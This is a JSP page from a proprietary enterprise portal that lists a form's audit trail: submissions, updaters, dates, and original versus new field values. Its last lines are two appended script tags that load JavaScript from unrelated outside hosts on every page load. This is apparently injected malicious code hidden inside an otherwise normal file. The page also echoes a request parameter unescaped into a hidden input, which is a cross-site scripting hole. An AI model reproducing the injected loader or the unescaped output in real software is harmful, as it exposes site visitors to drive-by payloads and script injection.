<%
/*
 * @(#)ListFormAuditTrail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormAuditTrail.jsp

  This is a ListFormAuditTrail page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Vera Wang
    @company            DCIVision Ltd
    @creation date      21/09/2005
    @version            $Revision: 1.8.6.8 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>

 
<%
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  FormRecordDAObject formRecordDAO =  new FormRecordDAObject(sessionContainer, conn);
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");
  List searchElmentList = formRecordDAO.getSearchElementListByFormRecordID(formRecord.getID());
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  LIST_NAME = "formAuditTrailList";
  String	opMode = listFormSubmissionForm.getOpMode();
  String[][]  LABEL_MAP = { {"ID", "ID"},	   
                            {"common.label.view", GlobalConstant.NOT_AVAILABLE},                                                                         
                            {"workflow.columnheader.workflow_code", "WORKFLOW_RECORD_ID"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"common.label.updater", "CREATOR_ID"},
                            {"common.label.update_date", "CREATE_DATE"},           
                            {"form.label.element", GlobalConstant.NOT_AVAILABLE}, 
                            {"form.columnheader.original", GlobalConstant.NOT_AVAILABLE}, 
                            {"form.columnheader.new_value", GlobalConstant.NOT_AVAILABLE}                     
                          };
                            

  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.title", "TITLE"}
                          };

  int     COLUMN_OFFSET = 0;
  
  int displayElementFieldRowCount = 1;
  displayElementFieldRowCount = listFormSubmissionForm.getDisplayElementFieldRowCount();
  String[] textSearchField = listFormSubmissionForm.getDisplayElementField();
  List searchElementListByTextBox = new ArrayList();
  FormSubmissionManager formSubmissionManager = new FormSubmissionManager(sessionContainer, conn);
  if (!Utility.isEmpty(listFormSubmissionForm.getWorkflowRecordID()) && !"null".equals(listFormSubmissionForm.getWorkflowRecordID())){
    if ("1".equals(listFormSubmissionForm.getSearchFormDisplayType())){
      searchElementListByTextBox = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),null,null);
    }else{
      searchElementListByTextBox = formSubmissionManager.getStepElementList(formRecord.getID(),listFormSubmissionForm.getWorkflowStepID());  
    }
  }else{
    searchElementListByTextBox = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),null,null);
  }
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<script language="JavaScript">
<!--
function OpSearch(frm, sortValue, sortOrder) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;
  frm.operationType.value="";
  
  frm.submit();
  return false;
}

function OpReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  frm.searchSubmitter.value="";
  frm.dummy_searchSubmitter.value=""; 
  frm.curStartRowNo.value = 1;
  if (<%=displayElementFieldRowCount%> >1 ) {
    for (var i = 0; i < <%=displayElementFieldRowCount%>; i++) {   
       frm.displayElementField[i].value=""; 
    }
  }else{
    frm.displayElementField.value=""; 
  }
  frm.displayElementFieldRowCount.value="1";
  frm.operationType.value="";
  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
  return false;
}

function OpCustExportExcel(){
	document.listFormSubmissionForm.operationType.value="<%=FormRecord.EXPORT_EXCEL_FILE%>";
	document.listFormSubmissionForm.submit();
	return (false);
}

function opAddFieldsMid(fieldName){
    document.all(fieldName).value=parseInt(document.all(fieldName).value)+1;
    document.all("opMode").value ="<%=GlobalConstant.NAV_MODE_REFRESH%>";
    document.listFormSubmissionForm.operationType.value="";
    document.listFormSubmissionForm.submit();
    return false;
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="form/ListFormAuditTrail" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="formRecordID"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="workflowStepID"/>
<html:hidden property="progressID"/>
<html:hidden property="submissionID"/>
<html:hidden property="searchFormDisplayType"/>
<html:hidden property="displayElementFieldRowCount"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>
<input type="hidden" name="operationType" />

<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/>  [<%=formRecord.getGroupName()%> - <%=formRecord.getTitle()%>]<layout:returnButton>ListFormMonitoringDetail.do?&formGroupID=<%=formRecord.getFormGroupID()%>&formRecordID=<%=formRecord.getID()%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton></font></layout:titleFormat>
<!-- Page Title Section End -->
<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" bgcolor="#F0F0F0"
 onkeypress="if(event.keyCode==13)OpList(listFormSubmissionForm, '<bean:write name='listFormSubmissionForm' property='sortAttribute' replace=''/>', '<bean:write name='listFormSubmissionForm' property='sortOrder' replace=''/>');">
  <tr>
    <td width="10%">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
     <td width="10%" align="right"> 
     <b><bean:message key='log.columnheader.event_date'/>:</b>
     </td><td>
     <html:datepicker property="fromDate"/>
     -
     <html:datepicker property="toDate"/>   
     <b><bean:message key='common.label.updater'/>:</b> <html:userpicker property='searchSubmitter'/>  
    </td>
  </tr>
 <%for (int n=1;n<=displayElementFieldRowCount;n++){ %> 
  <tr>   
    <td width="10%" align="right">       
    </td>
    <td width="10%" align="right">     
      <nobr><b>&nbsp;<bean:message key='form.search.displayed_element'/>:</b></nobr>   
    </td>
    <td >  
      <html:select property="displayElementField">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%
      
      for (int i=0; i<searchElementListByTextBox.size(); i++) { 
        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElementListByTextBox.get(i);
        String selected = "";
        if (!Utility.isEmpty(textSearchField)){
          if(n<=(textSearchField.length) && tmpFormElement.getID().toString().equals(textSearchField[n-1].toString())) {
            selected = "selected";        
          }
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </html:select>  
      <a href="#" onClick="return opAddFieldsMid('displayElementFieldRowCount');"><img src="../theme/pref1/img/common/IconMiniAdd.gif" align="absmiddle" border="0"></a>        
    </td>
  </tr>  
 <%}%> 
  <tr>
    <td width="10%">
    </td>
    <td colspan="3" align="right">
     <html:standardButton label="common.label.search" onClick="return(OpSearch(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}'))"/>
     <html:standardButton label="common.label.reset" onClick="return OpReset(listFormSubmissionForm)"/>
     <html:standardButton label="dms.message.document_Excel_export_mode" onClick="return OpCustExportExcel()"/>
    </td>
 </tr>
 
</table>
<!-- Search Panel End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- Table Heading Begin -->
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">        
    <td align="center" width="30" rowspan="<%=((FormSubmission)formSubmission).getFormDataList().size()%>">
      <%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){
          if ("1".equals(listFormSubmissionForm.getSearchFormDisplayType())){%>
            <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMMONITOR&functionFrom=ListFormAuditTrail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&workflowStepID=<%=((FormSubmission)formSubmission).getWorkflowStepID()%>&progressID=<%=((FormSubmission)formSubmission).getProgressID()%>&isViewUserStep=true&formDataSeq=<%=((FormSubmission)formSubmission).getSeq()%>&userRecordID=<bean:write name='formSubmission' property='creatorID'/>&isShowWholeForm=true"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
          <%}else{%>
            <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMMONITOR&functionFrom=ListFormAuditTrail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&workflowStepID=<%=((FormSubmission)formSubmission).getWorkflowStepID()%>&progressID=<%=((FormSubmission)formSubmission).getProgressID()%>&isViewUserStep=true&formDataSeq=<%=((FormSubmission)formSubmission).getSeq()%>&userRecordID=<bean:write name='formSubmission' property='creatorID'/>"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
          <%}%>
      <%}else{%>
          <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMMONITOR&functionFrom=ListFormAuditTrail&formDataSeq=<bean:write name='formSubmission' property='seq'/>&userRecordID=<bean:write name='formSubmission' property='creatorID'/>"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
      <%}%>        
    </td>
    <td rowspan="<%=((FormSubmission)formSubmission).getFormDataList().size()%>"><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='workflowCode'/><%}else{%>N/A<%}%></td>
    <td rowspan="<%=((FormSubmission)formSubmission).getFormDataList().size()%>"><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='trackID'/><%}else{%>N/A<%}%></td>
    <td rowspan="<%=((FormSubmission)formSubmission).getFormDataList().size()%>"><bean:write name='formSubmission' property='creatorName'/></td>
    <td rowspan="<%=((FormSubmission)formSubmission).getFormDataList().size()%>"><bean:write name='formSubmission' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>    
    <%
     if (((FormSubmission)formSubmission).getFormDataList().size()>0){ 
       List tmpformDataList = (List)((FormSubmission)formSubmission).getFormDataList().get(0);        
       for (int nn=0; nn<tmpformDataList.size(); nn++){
         FormData tmpFormData = (FormData)tmpformDataList.get(nn);
           
      %>      
    <td width="15%" title="<%=tmpFormData.getElementName()%>"><html:summarizeContent key="<%=tmpFormData.getElementName()%>" limitLength="8" /></td>
    <td width="15%" <%if (!Utility.isEmpty(tmpFormData.getPreDataString()) && !"null".equals(tmpFormData.getPreDataString())){%> title="<%=tmpFormData.getPreDataString()%>" <%}%> > <%if (!Utility.isEmpty(tmpFormData.getPreDataString()) && !"null".equals(tmpFormData.getPreDataString())){%><html:summarizeContent key="<%=tmpFormData.getPreDataString()%>" limitLength="8" /> <%}else{%>&nbsp;<%}%></td>
    <td width="15%" <%if (!Utility.isEmpty(tmpFormData.getDataString()) && !"null".equals(tmpFormData.getDataString())){%> title="<%=tmpFormData.getDataString()%>" <%}%> ><%if (!Utility.isEmpty(tmpFormData.getDataString()) && !"null".equals(tmpFormData.getDataString())){%><html:summarizeContent key="<%=tmpFormData.getDataString()%>" limitLength="8" /> <%}else{%>&nbsp;<%}%></td>
    <%}
    }else{
    %> 
    <td width="15%" >&nbsp;</td>
    <td width="15%">&nbsp;</td>
    <td width="15%">&nbsp;</td>
  <%}%>
  </tr>
   <%for (int n=1;n<((FormSubmission)formSubmission).getFormDataList().size();n++){        
         List formDataList = (List)((FormSubmission)formSubmission).getFormDataList().get(n);        
         for (int nn=0; nn<formDataList.size(); nn++){
           FormData formData = (FormData)formDataList.get(nn);
           
      %>              
       <tr>
        <td width="15%" title="<%=formData.getElementName()%>"><html:summarizeContent key="<%=formData.getElementName()%>" limitLength="8" /></td>
        <td width="15%" <%if (!Utility.isEmpty(formData.getPreDataString()) && !"null".equals(formData.getPreDataString())){%> title="<%=formData.getPreDataString()%>" <%}%> > <%if (!Utility.isEmpty(formData.getPreDataString()) && !"null".equals(formData.getPreDataString())){%><html:summarizeContent key="<%=formData.getPreDataString()%>" limitLength="8" /> <%}else{%>&nbsp;<%}%></td>
        <td width="15%" <%if (!Utility.isEmpty(formData.getDataString()) && !"null".equals(formData.getDataString())){%> title="<%=formData.getDataString()%>" <%}%> ><%if (!Utility.isEmpty(formData.getDataString()) && !"null".equals(formData.getDataString())){%><html:summarizeContent key="<%=formData.getDataString()%>" limitLength="8" /> <%}else{%>&nbsp;<%}%></td>
       </tr>
      <%}
      }%> 
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listFormSubmissionForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            &nbsp;
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
<!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->
</td></tr></table>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>